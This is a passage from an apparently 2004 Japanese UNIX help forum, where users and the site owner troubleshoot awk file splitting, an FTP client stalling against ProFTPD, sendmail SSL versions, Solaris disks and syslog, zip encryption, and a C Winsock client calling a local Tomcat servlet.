swapをnewfsしている方は、その後問題無いのかなと思いまして。。

No. 3730 # zsh 2004/05/24 (月) 07:25:11
>>3729 tt
newfsしても問題ないと思います。
ただし、実際にswapを使い始めると(書き込みが行われると)
ufsとして書き込みに行かないので、結局ファイルシステムは破壊はされます。
よって、newfsする意味がありません。

No. 3731 # marlboro [E-mail] 2004/05/27 (木) 11:50:40
C言語版FTPクライアントを実行させたところ、RETR後、レスポンスが2回続けて
ありますが(150、226)、226のレスポンスが異常に遅いです(6分後)。
Solaris8、ProFTP(関係ないとおもいますが。。。)の構成です。

No. 3732 # すすむ 2004/05/27 (木) 19:48:05
HP-UX11.00で、Bシェルなのですが、
awkで表示された内容をある数分出力したら別ファイルに
入れたいのですが、

---------------------------------------
#!/bin/sh
#

FILE="test.txt"
OUTPUT="output.txt"

awk -F" " '
        BEGIN {
                count = 0+0 ;
        }
function func() {
        if (・・・・) {
                printf("%s\n",$0) ;
                printf("\n") ;
                return 0;
        } else {
                return 1;
        }

}
{
        if (NF == 0) next ;
        if (NF == 2 && $1 == "dn:") {
                ret=func() ;
                if (ret == 0) count++ ;
        }
        if (count == 1000) {
                count = 0+0 ;
        }
}' ${FILE} > ?????
------------------------------------

1000件ごとに出力するファイル名を変えたい
「output_nnn.txt」ということはできるでしょうか。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3733 # 68user 2004/05/27 (木) 20:54:46
>>3731 marlboro
ご報告ありがとうございます。

調べてみますが、
    - どこからどこ宛の接続なのか (Solaris8 から localhost 宛?)
    - OS 付属の FTP クライアントでは問題ないのか
    - (インターネット上に公開されているサーバであれば) 相手のサーバ名
を教えていただけると助かります。

>>3732 すすむ
HP-UX11.11 の /bin/awk で、
    out="output_nnn.txt";
    print "hoge"> out
などと出力ファイルを指定できるようです。後は out の内容を
動的に変えていけばよいでしょう。

対象ファイルを切り替えるときは close(out) すればリソースの
無駄が省けてよいかもしれません。

No. 3734 # すすむ 2004/05/27 (木) 22:55:17
>>3733 68user
ありがとうございます。

>HP-UX11.11 の /bin/awk で、
> out="output_nnn.txt";
> print "hoge"> out
>などと出力ファイルを指定できるようです。後は out の内容を
>動的に変えていけばよいでしょう。
>対象ファイルを切り替えるときは close(out) すればリソースの
>無駄が省けてよいかもしれません。

確認できる環境が近くにないので確認ができませんが、
以下の様なことなのでしょうか。
------------------------
#!/bin/sh
#

FILE="test.txt"
OUTPUT="output.txt"

awk -F" " '
        BEGIN {
                count = 0+0 ;
                num = 1;
                output="output_num.txt"
        }
        function func() {
                if (・・・・) {
                        printf("%s\n",$0) >> output ;
                        printf("\n") >> output ;
                        return 0;
                } else {
                        return 1;
                }
          }
          {
                if (NF == 0) next ;
                if (NF == 2 && $1 == "title:") {
                                ret=func() ;
                                if (ret == 0) count++ ;
                }
                if (count == 1000) {
                                count = 0+0 ;
                                num++ ;
                                output="output_num.txt"
                }
          }' ${FILE}

No. 3735 # 68user 2004/05/27 (木) 23:37:27
>>3731 marlboro
手元の複数の環境で実験した限りでは再現しませんでした。
>>3733 68user
をご参照の上、より詳細なご報告いただければ幸いです。

>>3734 すすむ
ご自分で動作確認して、わからなければ再度質問してください。

No. 3736 # すすむ 2004/05/28 (金) 08:44:07
>>3735 68user
>ご自分で動作確認して、わからなければ再度質問してください。

失礼しました。
ありがとうございました。
希望通りの動きをしました。

No. 3737 # kentarou 2004/05/28 (金) 08:45:29
>> 「./configure; make new_japan; make install」ってのがすごいですね。
> 何ヶ月か前にほうぼうでネタにされてましたね。configure と make は ; で
> なくて && でつなぐべきだとか、

ごめんなさい、教えてください。
;ではなく&&でつなぐとどうなるのですか?

No. 3738 # zsh 2004/05/28 (金) 12:41:31
>>3737 kentarou
例として、「cmd1 && cmd2」とした場合は、
cmd1の戻り値が0の場合のみcmd2を実行します。

No. 3739 # 68user 2004/05/28 (金) 13:03:19
>>3738 zsh
そして、make は成功時には 0 を、失敗時には 1 を返します。
# http://x68000.startshop.co.jp/~68user/unix/glossary.html#%CC%E1%A4%EA%C3%CD

よって && でつなぐことで、
    - configure でこけたら make 以降は行なわない
    - make でこけたら make install は行なわない
という効果があるわけです。

No. 3740 # 瓜倉 茂 [E-mail] 2004/05/28 (金) 17:25:42
Perl&CGIで授業の出席フォームを作成しようとしています。Perlは初心者です。
サーバーは、Windows2000+IIS+ActivePerl5.6.0で、ブラウザはIE6.0です。
クライアントマシンのIPアドレスを取得するPerlのコードでつまずきました。
inet_aton、gethostbyaddr、inet_ntoaの各関数を使ってIPアドレスを取得する
コードを試しましたが、ブラウザIE6.0のプロキシ設定をしていれば、プロキシ
のIPアドレスが取得でき、クライアントのIPアドレスが取得できません。もちろん
プロキシの設定を外せば、クライアントのIPアドレスが取れます。プロキシを設定
した状態で、クライアントのIPアドレスを取得できる方法がありましたら、ご教示
ください。

No. 3741 # 68user 2004/05/28 (金) 17:59:31
>>3740 瓜倉 茂
> クライアントマシンのIPアドレスを取得するPerlのコードでつまずきました。
IP アドレスは $ENV{REMOTE_ADDR} で取得できますよね。FQDN (ホスト名) の
取得が目的ですか?

それはそれとして、
> プロキシを設定した状態で、クライアントのIPアドレスを取得できる方法が
> ありましたら、ご教示ください。
については
>>3450 68user
の「理屈的には、100% の精度の proxy 判定は不可能です」のくだりを
読んでください。

100% は無理と書きましたが、学内限定でなおかつあなたが管理者の立場なの
であれば、必ず HTTP_X_FORWARDED_FOR を設定させるように proxy サーバの
設定変更するなどの手はあります。

ただ、根本的に信頼性がないので「web で出席を取る」という仕組みが妥当か
どうかは微妙な気がします。

No. 3742 # marlboro 2004/05/28 (金) 22:25:03
>>3733 68user
遅くなりました。すでに確認していただいているのですが。
>調べてみますが、
> - どこからどこ宛の接続なのか (Solaris8 から localhost 宛?)
> - OS 付属の FTP クライアントでは問題ないのか
> - (インターネット上に公開されているサーバであれば) 相手のサーバ名
>を教えていただけると助かります。
あて先は、同じネットワーク内に存在するサーバです。同じくSolaris8です。
UNIXのftpコマンド、Windowsのツール(FFFTP)では問題なく動作します。
#ftpコマンドでPASVで送受信する方法を知らないんですね。。。
サーバ側の問題とも考えにくいです。

No. 3743 # kentarou 2004/05/28 (金) 23:13:18
コマンドを&&でつなぐ件、勉強になりました。
ありがとうございます。

No. 3744 # 瓜倉 茂 [E-mail] 2004/05/28 (金) 23:38:23
68user様
早速のご回答ありがとうございます。Perlの使い方で問題が解決するのかと
思ってましたが、ネットワーク経由だと他のところも絡んでくるのですね。
Webにこだわらないで、出席を取る問題を再考してみます。

No. 3745 # 瓜倉 茂 [E-mail] 2004/05/28 (金) 23:43:36
marlboro様
先ほどのNo.3744の内容は、No. 3742のmarlboro様へのお礼でした。
あて先を間違い失礼しました。改めてmarlboro様の回答にお礼申し
上げます。

No. 3746 # 68user 2004/05/29 (土) 01:03:39
>>3742 marlboro
ProFTPD を相手にすると再現することがわかりました (一番
最初に試すべきことでしたね)。

    % time ./ftp-client -d anonymous foo@example.com ftp.proftpd.org /MIRMON.PROBE
    <-- 220 ProFTPD 1.2.10rc2 Server (proftpd.org Project) [81.223.20.36]
    --> USER anonymous
    <-- 331 Anonymous login ok, send your complete email address as your password.
    --> PASS foo@example.com
    <-- 230 Anonymous access granted, restrictions apply.
    --> PORT aaa,bbb,ccc,ddd,16,36
    <-- 200 PORT command successful
    --> RETR /MIRMON.PROBE
    1085749801
    <-- 150 Opening ASCII mode data connection for /MIRMON.PROBE (11 bytes)
    (ここで6分待たされる)
    <-- 226 Transfer complete.
    --> QUIT
    <-- 221 Goodbye.
    0.000u 0.005s 6:03.75 0.0% 0+0k 0+0io 0pf+0w

対策ですが、
    http://x68000.startshop.co.jp/~68user/net/c-ftp-1.html

        while (1){
                int read_size;
                read_size = read(data_socket, buf, BUF_LEN);
                ...
        }
の後に
        close(data_socket);
を入れることで直るようです。

データコネクションはサーバ側から切ってくれると認識して
いたのですが、間違いなのかもしれません。調査します。

ご指摘いただきありがとうございました。

> #ftpコマンドでPASVで送受信する方法を知らないんですね。。。
Solaris8 の ftp はカスなので、passive モードにできない
と認識しています。GNU モノや BSD モノなら、passive でできます。

No. 3747 # kouzu 2004/06/04 (金) 12:58:35
はじめまして。

ミラーリングの質問をさせていただきたいの
ですが、solaris8 10/01で
内蔵ディスクをRAID1は一般的でしょうが、
RAID1+0(ミラー+ストライピング)を構成
するのはアリなのでしょうか?

そもそもできるのでしょうか??

危険・・・?
ソフトはVeritasCSです。
VxVM VxFSも購入予定

標準内蔵DISKは73GBが6個で、
現状下記で振り分けようとしています。
disk1スライス: /(usr opt含む) , swap
disk2スライス: /export/home , /work

disk3,4でRAID1ミラーを予定だが、
RAID0+1が実は実現できそう・・・

No. 3748 # hash 2004/06/04 (金) 21:45:55
LAN内だけで有効なドメイン名(hogehoge.example等)を使いたいのですが、
そういったことは可能でしょうか?

具体的にはLAN内のWEBサーバに名前でアクセスしたり、
LAN内のメールアドレスを作りたいのです。

なんだか、漠然とした質問で申し訳ありません。
このようなことができるのであれば、解説しているサイトや、
検索に有効なキーワードでも教えていただけると幸いです。

サーバ構成は以下のようになっています。
・OS RedHat Linux8
・MTA sendmail 8
・DNS bind 9
・MUA OutLook Express 6(Windows2000, XP Pro)

WEBサーバにはローカルIPアドレスでアクセスし、
メールはWEBアプリからpostmaster@host.localdomainのように送信して、
POPはOutlook Expressで受信しています。

No. 3749 # hash 2004/06/04 (金) 21:51:53
>>3748 hash
> WEBサーバにはローカルIPアドレスでアクセスし、
> メールはWEBアプリからpostmaster@host.localdomainのように送信して、
> POPはOutlook Expressで受信しています。

度々すいません。
なんだか、意味のわからない文章になっていました。

現在は引用部分のように利用しているということです。
いろいろと面倒なので、何とかしたいと思って色々調べているのですが、
今のところ手がかりも見つからず質問させていただいた次第です。

No. 3750 # 金床 2004/06/05 (土) 06:10:55
>>3746 68user
興味があったので調べてみました。

現状のftp-client.cはデータコネクションでのデータ転送終了時にソケットのcloseを行っていないため、
サーバー側からのFIN-ACKパケットに対してFIN-ACKを送り返しません。

このため、データコネクションの切断について、クライアントからのFIN-ACKパケットを待つProFTPDと、
FIN-ACKパケットを特に待たない他のFTPDとの実装の差が、今回の問題であるプログラムの動作の差になっている
ようです。

>データコネクションはサーバ側から切ってくれると認識していたのですが、間違いなのかもしれません。
データコネクションの切断はサーバー側から行います。原理的に考えても、ファイルやファイルリストのサイズを
送信前に調べることはできませんので、これは間違いありません。

「サーバー側から切断」とはつまりサーバー側からFIN-ACKパケットが送信されるということです。
この際にreadが0を返すので、プログラムはwhileループを抜けます。
ここにclose(data_socket);を追加するとFIN-ACKを返信するようになり、ProFTPDはデータコネクションの切断が
正常に行われたと考え、処理が進みます。

つまり、close(data_socket);を追加することは「切断をクライアント側から行う」ことにはなりません。

以上、まとまりがなく申し訳ありませんが、参考になれば幸いです。

No. 3751 # TSURU 2004/06/05 (土) 17:31:35
初めて投稿します。

現在、sendmail 8.12.9 でSTARTTSLコマンドを有効にしてSSL接続を行っています。
デフォルトでは、SSLプロトコルバージョンは3.1です。これを、SSLプロトコル
バージョン3.0にする必要があるため、プロトコルバージョンが3.1の実行ファイル
と、3.0の実行ファイルを両方作成し、必要に応じて、実行ファイルを置き換えて、
sendmail を起動しなおして、sendmail に接続しています。
プロトコルバージョン3.0のものをコンパイルし、インストールした直後では、
正常にSSLプロトコルバージョンは3.0で通信できました。しかし、一旦、
SSLプロトコルバージョン3.1の実行ファイルに置き換えて起動し、数時間後に、
再度プロトコルバージョン3.0の実行ファイルで起動したところ、プロトコルバー
ジョン3.0では通信できないというおかしな状況になってしまいました。
プロトコルバージョン3.0で、通信できずにエラーとなった時の、
/var/log/syslog に出力された、sendmail のエラーメッセージは以下の
とおりです。

Jun 4 13:52:27 xxxx sm-mta[7195]: STARTTLS=server: 7195:error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number:s3_pkt.c:290:

プロトコルバージョン3.0にする方法は、SSL_CTX_new() の引数に、
サーバの時はSSLv3_server_method()、クライアントの時は、SSLv3_client_method()を指定するという方法で行っています。
SSLライブラリは、OpenSSL 0.9.6c[engine] を使用しています。

どなたか、原因や対応方法などわかる人がいたら、ご教示していただきたいと
思います。
よろしくお願いします。

No. 3752 # bon 2004/06/05 (土) 18:29:25
お世話になります。
solaris9のx86版で、syslogの設定について質問なのです。
inetdから起動されるデーモンで、
クライアントのIP等の情報を/var/adm/messagesに出力させるには、
/etc/init.d/inetsvc内の最後を、「/usr/sbin/inetd -s -t」として、
マシンを再起動すれば良いらしいのですが、そのようにしてからtelnetで試したところ、
どうしてもログに出力されません。
/etc/syslog.confの設定はデフォルトのままで、
「*.err;kern.debug;daemon.notice;mail.crit /var/adm/messages」
の設定はコメントアウト等されていません。
他に何か設定すべき場所等ありますでしょうか?
宜しくお願い致します。

No. 3753 # zsh 2004/06/06 (日) 20:42:55
>>3752 bon
/etc/default/inetdに
ENABLE_CONNECTION_LOGGING=YES
の指定が必要です。

No. 3754 # zsh 2004/06/06 (日) 20:50:30
>>3748 hash
>WEBサーバにはローカルIPアドレスでアクセスし、
>メールはWEBアプリからpostmaster@host.localdomainのように送信して、
>POPはOutlook Expressで受信しています。

これが今の運用だとすると、
postmaster@host.localdomain
と指定している時点でローカルのドメインを使えているように見えますが・・・
クライアントからホスト名でアクセスするだけだったら
hostsファイルに指定してやれば良い気がします。

No. 3755 # bon 2004/06/06 (日) 21:41:14
>> 3753 zsh様
やっと動きました!
ありがとうございました。

No. 3756 # marlboro 2004/06/08 (火) 21:00:42
>>3746 68user
ありがとうございました。
動作確認できました。やはり6分待たされるんですよね。
>ProFTPD を相手にすると再現することがわかりました (一番
>最初に試すべきことでしたね)。
最初にお伝えするべきでした。

No. 3757 # 68user 2004/06/08 (火) 22:25:42
>>3747 kouzu
> RAID1+0(ミラー+ストライピング)を構成するのは
> アリなのでしょうか?
わかりません。RAID1 しかやったことがないです。

システム領域は RAID1 しか対応していないミドルウェアも
あるようですのでね。どう考えてもお仕事なようですから、
素人のアドバイスなど聞かず、まずは Veritas 社に問い
合わせることをお勧めします。

>>3750 金床
なるほど、勉強になります。サーバプログラムの書き方の違いとしては、
    クライアントの FIN-ACK を待たない
        ⇒ close か、shutdown(fd, SHUT_RDWR)
    クライアントの FIN-ACK を待つ
        ⇒ shutdown(fd, SHUT_WR) して、read が 0 を返すのを待つ
てな感じなんでしょうかねぇ。

>>3751 TSURU
単に 3.0 サーバに 3.1 プロトコルでお話しているということは
ないですよね? tcpdump や ethereal などでプロトコルバージョンを
確認しても間違いはありませんか?

SMTP over TLS は使ったことがないため、たいしたことは言えなくて
申し訳ないです。

No. 3758 # TSURU 2004/06/08 (火) 22:29:20
>>3751 TSURU
こんばんは。
V3.0で通信できない、という件ですが、設定方法を変えたら、正常にV3.0で通信
できるようになりました。
具体的には、sendmail.cfにて、CipherList を設定する方法で、できるように
なりました。
お騒がせしました。
68userさん、レスをいただきありがとうございます。

ありがとうございました。

No. 3759 # 68user 2004/06/08 (火) 22:35:42
>>3758 TSURU
V3.0 と V3.1 で sendmail.cf を共用にしていたため、
V3.1 でしか使用できない Cipher を V3.0 で使おうとして
エラーになっていた、ということでしょうか?

No. 3760 # TSURU 2004/06/08 (火) 23:10:56
>>3759 68user
いや、それはないと思います。
sendmail.cfファイルも、V3.0用とV3.1用で別々に作成して、置き換えて使っています。
僕も、それほどSSLについて詳しいわけではありませんが、
SSLプロトコルバージョンと暗号化アルゴリズム(Cipher)は、直接は関連性はないように
思います。
おそらく、この認識で合っているとは思いますが。

No. 3761 # 68user 2004/06/08 (火) 23:31:37
>>3760 TSURU
SSL3.0 と TLS1.0 (≒SSL3.1) の仕様上は、使用できる暗号
スイートに違いがあります。たとえば SSL3.0 では FORTEZZA
が使用できましたが、TLS1.0 では削除されました。また、AES
関連の暗号スイートについては、TLS のみに追加されました。
今後も新規暗号スイートは TLS のみに追加されていくでしょう。

http://www21.ocn.ne.jp/~k-west/SSLandTLS/rfc2246-Ja.txt
http://www21.ocn.ne.jp/~k-west/SSLandTLS/draft302-Ja.txt
http://www21.ocn.ne.jp/~k-west/SSLandTLS/rfc3268-Ja.txt

# ただし実装においては SSL3.0 と TLS1.0 はコードを共有して
# いるでしょうから、もしかしたら SSL3.0 で AES が使用できる
# ような実装もあるのかもしれません。

よって、暗号スイートの違いから接続がうまくいかなかったのでは
ないかと考えた次第です。

後学のために教えていただきたいのですが、
>>3758 TSURU
> sendmail.cfにて、CipherList を設定する方法
何と書くとうまくいかなくて、何と書くとうまくいったのか
お教えいただけますか?

No. 3762 # TSURU 2004/06/09 (水) 23:37:31
>>3761 68user

1.通信できなかった場合
sendmail.cfで、CipherList は特に設定していない。
また、SSL_CTX_new() の引数にSSLv3_server_method()、
又は、SSLv3_client_method()を指定する。
この方法だと、通信できなくなった。

2.通信できた場合
sendmail.cfで、CipherList に、DEFAULT:+SSLV3 を指定する。
また、SSL_CTX_new() の引数にSSLv23_server_method()、
又は、SSLv23_client_method()を指定する。
(つまり、sendmail のソースコードをいじらないままの状態です。)
この方法で、正常に通信できるようになりました。

No. 3763 # aits 2004/06/09 (水) 23:37:44
どなたかご教授下さい。

すでに動いているSolaris8の機器に新規Diskを追加し、Formatコマンドでパーティション切って、
labelしたあとにリブートする必要はありますか?
リブートしないと反映しないのですかね?
リブートは必要ないと思っていますが。。

No. 3764 # 68user 2004/06/10 (木) 00:40:32
>>3762 TSURU
ありがとうございます。暇を見つけて試してみたいと思います。

>>3763 aits
リブートして /etc/vfstab の内容が正しいことを検証しておく
方がよいと思われますが、リブートが必須かどうかと問われれば、
必須ではありません。リブートせずに、そのまま mount できます。

No. 3765 # 金床 2004/06/10 (木) 10:25:20
>>3757 68user

>サーバプログラムの書き方の違いとしては、
> クライアントの FIN-ACK を待たない
> ⇒ close か、shutdown(fd, SHUT_RDWR)
> クライアントの FIN-ACK を待つ
> ⇒ shutdown(fd, SHUT_WR) して、read が 0 を返すのを待つ
> てな感じなんでしょうかねぇ。

ProFTPDのソースを見てみました。ご指摘の通り、
shutdown(fd, SHUT_WR)
になっていました。
#実際にはSHUT_WRはハードコーディングされて1になっていましたが

shutdown後にreadしているかどうかまでは追えていません。
時間があるときにコードを書いてshutdownの動作を確かめてみたいと思ってます。


ちなみにProFTPDのこの部分を
shutdown(fd, SHUT_RDWR)
に変えてみたところ、closeを追加しないftp-client.cでも処理が止まらずに進むことを確認できました。

No. 3766 # 初心者 2004/06/10 (木) 23:15:30
unix上でzip圧縮した際にパスワードを設定したいのですが、
どなたかご存知な方いらっしゃいいますか?
windowsだと基本的にzip圧縮の際にパスワードを設定できるように
なっているのですが・・・。
一応manコマンドで調べると-eという暗号化のオプションが存在する
ようなのですが出来ません。
環境はsolarisです。よろしくお願いします。

No. 3767 # hash 2004/06/11 (金) 00:08:24
>>3754 zsh
> クライアントからホスト名でアクセスするだけだったら
> hostsファイルに指定してやれば良い気がします。

お返事ありがとうございます。
全クライアント(Win2000)のhostsファイルを変更するのは
大変(そんなに数はないのですが)なのでDNSにローカルのbindを指定して使っています。

ということは、bindのゾーン設定が悪いんですね。
とりあえず切り分けができたのでもう少し試行錯誤してみます。
報告できるようなことがあれば、また報告させていただきたいと思います。

ありがとうございました。

No. 3768 # hash 2004/06/11 (金) 00:27:09
>>3766 初心者

$zip -e out.zip target.o
Enter password:
Verify password:
    adding: target.o (stored 80%)

で出来ました。
RedHatですが、同じだと思います。

No. 3769 # 68user 2004/06/11 (金) 00:56:56
>>3766 初心者
> unix上でzip圧縮した際にパスワードを設定したいのですが、
Solaris 標準の zip は、おそらく暗号化ライブラリなしで
コンパイルされていると思うんですよね。たぶん。

FreeBSD の ports
        http://www.jp.freebsd.org/cgi/cvsweb.cgi/ports/archivers/zip/Makefile?rev=1.29
を参考に、zcrypt29-exportable.zip を持ってきたり、
-DUSE_CRYPT を指定したりして自分でソースからコンパイル
すれば大丈夫でしょう。

もしかしたら
    SunSite
        http://sunsite.tus.ac.jp/sun/solbin/
のバイナリパッケージが暗号化機能付きでコンパイルされて
いるかもしれません (試していません)。

No. 3770 # zsh 2004/06/11 (金) 17:04:11
>>3769 68user
Solaris標準・SunSiteのバイナリパッケージ共に暗号機能なしのようです。

No. 3771 # den 2004/06/13 (日) 18:34:51
Servlet を C の exe からソケットを使って起動させようとしているのですが
うまく起動しません。

どなたかわかる方はいませんか?

No. 3772 # 68user 2004/06/13 (日) 19:44:10
>>3771 den
情報不足です。

http://www.hyuki.com/writing/techask.html を読んでください。

No. 3773 # 68user 2004/06/13 (日) 22:56:01
日記。

今日は
    http://www.amazon.co.jp/exec/obidos/ASIN/475614389X/qid%3D1087134585/249-1275008-5298706
        プログラミングテクニック - UNIXコマンドのソースコードにみる実践プログラミング手法
        (UNIX MAGAZINE COLLECTION)
を買いました。UNIX MAGAZINE に連載されていた記事をそのまま
まとめただけですが、これでたまっていた UNIX MAGAZINE を捨て
られるので、部屋が狭い人にはお勧めです。

ただ、この人の書く文章にはおもしろみのかけらもなく、全く読む
気にならないのが残念なところ。プログラミングって こんなに
つまらないものだったかなぁ、と思えることうけあいです。

No. 3774 # 68user 2004/06/14 (月) 02:54:44
日記 2。

久々に whois.cgi なぞを触っていたら、FreeBSD 5.2.1-RELEASE の
/usr/bin/whois は、いちいち NIC (Network Information Center) を
指定しなくても、
    % whois u-tokyo.ac.jp
で情報を参照できる。昔は
    % whois -h whois.nic.ad.jp u-tokyo.ac.jp
としなくてはならなかったはずなのに何故? と思ってソースを読んだ
結果、
    xxx.whois-servers.net
    (例えば TLD が jp だったら jp.whois-servers.net)。
の CNAME を引っ張ると、whois.nic.ad.jp が返ってくるので、
そこに再接続すればよいらしい。

あるいは
    % whois -h jp.whois-servers.net u-tokyo.ac.jp
とすると whois-servers.net が proxy となって whois.nic.ad.jp
から勝手に情報を取得してくれるようだ。

whois-servers.net に対応したのは、FreeBSD 4.0-RELEASE・
FreeBSD 3.4-RELEASE から。

http://www.jp.freebsd.org/cgi/cvsweb.cgi/src/usr.bin/whois/whois.c

No. 3775 # kiyo 2004/06/14 (月) 13:46:37
dateコマンドでは、最大何日前までの日付計算が行えるのでしょうか?
教えてください。

No. 3776 # yoko 2004/06/14 (月) 15:22:44
Solaris(UNIX)でフォルダの削除が行えません。
rmdir フォルダ名のコマンドでは「ディレクトリが存在しません。」
のメッセージがでます。CPコマンドで同じフォルダを同じ場所にコピーすると
同じ名前のファルダが2つできてしまいます。
このフォルダの消し方をどなたか教えていただけないでしょうか。

No. 3777 # TSURU 2004/06/14 (月) 17:21:18
>>3776 yoko

こんばんは。

rm -r <ディレクトリ名>

で削除できませんか?

No. 3778 # den 2004/06/14 (月) 21:42:32
ソースを載せます。

//***************************************************************
// From the book "Win32 System Services: The Heart of Windows 95
// and Windows NT"
// by Marshall Brain
// Published by Prentice Hall
//
// Copyright 1995, by Prentice Hall.
//
// This code implements a TCP sender.
//***************************************************************

// ssipsend.cpp

#include <windows.h>
#include <iostream.h>
#include <winsock.h>

#define NO_FLAGS_SET 0

#define PORT (u_short) 8080
#define DEST_IP_ADDR "127.0.0.1"

#define MAXBUFLEN 256

INT main(VOID)
{
    WSADATA Data;
    SOCKADDR_IN destSockAddr;
    SOCKET destSocket;
    unsigned long destAddr;
    int status;
    int numsnt;
    char toSendtxt[3][256];

    int numrcv;
    char buffer[MAXBUFLEN];

    strcpy( toSendtxt[0], "GET http://localhost:8080/example00/HitTime?userid=1207&date=20004/06/11%2008:30:00 HTTP/1.1\r\n" );
    strcpy( toSendtxt[1], "Host: localhost:8080\r\n" );
    strcpy( toSendtxt[2], "\r\n" );

    /* initialize the Windows Socket DLL */
    status=WSAStartup(MAKEWORD(1, 1), &Data);
    if (status != 0)
        cerr << "ERROR: WSAStartup unsuccessful"
            << endl;

    /* convert IP address into in_addr form */
    destAddr=inet_addr(DEST_IP_ADDR);
    /* copy destAddr into sockaddr_in structure */
    memcpy(&destSockAddr.sin_addr,
        &destAddr, sizeof(destAddr));
    /* specify the port portion of the address */
    destSockAddr.sin_port=htons(PORT);
    /* specify the address family as Internet */
    destSockAddr.sin_family=AF_INET;

    /* create a socket */
    destSocket=socket(AF_INET, SOCK_STREAM, 0);
    if (destSocket == INVALID_SOCKET)
    {
        cerr << "ERROR: socket unsuccessful" << endl;
        status=WSACleanup();
        if (status == SOCKET_ERROR)
            cerr << "ERROR: WSACleanup unsuccessful"
                << endl;
        return(1);
    }

    cout << "Trying to connect to IP Address: "
        << DEST_IP_ADDR << endl;

    /* connect to the server */
    status=connect(destSocket,
        (LPSOCKADDR) &destSockAddr,
        sizeof(destSockAddr));
    if (status == SOCKET_ERROR)
    {
        cerr << "ERROR: connect unsuccessful" << endl;
        status=closesocket(destSocket);
        if (status == SOCKET_ERROR)
            cerr << "ERROR: closesocket unsuccessful"
                << endl;
        status=WSACleanup();
        if (status == SOCKET_ERROR)
            cerr << "ERROR: WSACleanup unsuccessful"
                << endl;
        return(1);
    }

    cout << "Connected..." << endl;

    int idx = 0;
    while(1)
    {
    Sleep(1000);
        cout << "Sending..." << endl;
        numsnt=send(destSocket, toSendtxt[idx],
            strlen(toSendtxt[idx]) + 1, NO_FLAGS_SET);
        if (numsnt != (int)strlen(toSendtxt[idx]) + 1)
        {
            cout << "Connection terminated" << endl;
            status=closesocket(destSocket);
            if (status == SOCKET_ERROR)
                cerr << "ERROR: closesocket unsuccessful"
                    << endl;
            status=WSACleanup();
            if (status == SOCKET_ERROR)
                cerr << "ERROR: WSACleanup unsuccessful"
                    << endl;
            return(1);
        }
    idx++;
    if(idx>2){
        break;
    }

    /* Wait before sending the message again */
    //Sleep(4800);
    } /* while */

    return 0;
}

それほど難しいことはしていないはずなのですが...
よろしくお願いします。

No. 3779 # TSURU 2004/06/14 (月) 23:20:59
>> 3771
Servletって、JavaのServletのことですよね?
なぜ、わざわざCのプログラムからServletを起動する必要があるのですか?
そこが分かりません。

No. 3780 # とーりすがり 2004/06/15 (火) 00:03:33
>>3776 yoko
ディレクトリを作成した時にディレクトリ名にスペースとか
コントロールコード(^hとか)が入ってしまったってことはないですか?

とりあえず そのディレクトリ上位の階層でls -l > hoge.lst
としてvi hoge.lst を表示もしくはod -x hoge.lstあたりで
確認されてみてはいかがでしょうか?
外してしたらスミマセン
  

No. 3781 # den 2004/06/15 (火) 08:41:41
>> 3779 TSURU

なぜ、わざわざといわれるとどう答えていいのかわからないのですが。
サーブレットは、起動されるとデータベースに時刻を登録するようにできています。
それでタイムカードのように出社時間と退社時間を記録してゆこうとしているのです。
そのときにわざわざブラウザを立ち上げてフォームのボタンを押してサーブレットを
起動するのは面倒らしいので、スタートアップにEXEをと登録して、
パソコンが起動するとサーブレットを呼び出すようにしようとしています。

という回答でよいでしょうか。
よろしくお願いします。

No. 3782 # den 2004/06/15 (火) 08:44:36
>> 3779 TSURU

ちなみになぜ、Cでやろうとしているかというと、Java だと各パソコンに
JREをインストールしてやらなければならないかなと思っているので
それが面倒なのでCを使おうとしています。

No. 3783 # 68user 2004/06/15 (火) 11:49:45
>>3775 kiyo
> dateコマンドでは、最大何日前までの日付計算が行えるのでしょうか?
FreeBSD の date は 1900 年まででした。他の OS でも、time_t の仕組みに
のっけているなら、同じでしょうね。てゆーか OS 名くらい書きましょうね。

>>3776 yoko
> Solaris(UNIX)でフォルダの削除が行えません。
ファイルの特定方法もいろいろあるので参考にしてください。
    http://www.jp.freebsd.org/QandA/HTML/1671.html

>>3778 den
> ソースを載せます。
どこでどういうふうにエラーになるんですか? 「うまく起動しません」
とはどういう意味ですか? OS は? ブラウザで該当 URL を見ると正しく
記録されるのですか?

…などという点が情報不足なのですよ。期待した結果と実際の結果を書けと
    http://www.hyuki.com/writing/techask.html
にもあったはずです。

ソースをざっと見た感じでは怪しげなところはないように見えますが、
わたしの手元に Windows 開発環境がなくコンパイルできないので、
どなたかコンパイルして検証できる環境をお持ちの方がいらっしゃい
ましたらよろしくお願いします。

>>3779 TSURU
> なぜ、わざわざCのプログラムからServletを起動する必要があるのですか?
C で HTTP クライアントを作るって話なので、別に変ではないです。

No. 3784 # den 2004/06/15 (火) 13:24:16
OS は、クライアント、サーバともに Windows 2000 Professtional 又は Windows XP Professtional です。
Tomcat は、Tomcat/4.1.27 です。

サーブレットに動作したことがわかるようにコンソールへの出力が組み込んであるので
起動したことは、コンソールを見るとわかるようになっています。

ブラウザでサーブレットの URL をたたいた場合は、ちゃんとコンソールへの
出力がでて、起動していることがわかります。

No. 3785 # den 2004/06/15 (火) 13:30:15
>> 3783

HTTP は、ここで改行しないとダメだとかこういう順番でテキストを
送らないとダメだとかどういうルールがあるのでしょうか?

No. 3786 # den 2004/06/15 (火) 15:18:43
>> 3783

改行を入れるようにしたらレスポンスは返すようになってのですが、
やはりサーブレットは起動しません。

OS は、サーバ、クライアントともに Windows 2000 Professtional か Windows XP Professtional です。
Tomcat は、Apache Tomcat/4.1.27 です。

起動するというのは、コンソールに文字が出力されるということです。

ブラウザで同じことをした場合は、ちゃんと起動します。

No. 3787 # den 2004/06/15 (火) 15:19:42
>> 3783

レスポンスは、

HTTP/1.1 505 HTTP Version Not Supported
Content-Type: text/plain
Date: Tue, 15 Jun 2004 06:24:28 GMT
Server: Apache Coyote/1.0
Connection: close

・・・・・・

です。

No. 3788 # den 2004/06/15 (火) 15:30:52
>> 3783

リクエストの2行目の

strcpy( toSendtxt[1], "Host: localhost:8080" );

を削除したらうまく行きました。
どうもありがとうございました。

No. 3789 # 68user 2004/06/15 (火) 15:31:24
>>3786 den
> 改行を入れるようにしたらレスポンスは返すようになってのですが、
全くついていけません。具体的にどこをどういうふうに修正したんですか?

ふと思いましたが、
>>3778 den
> numsnt=send(destSocket, toSendtxt[idx],
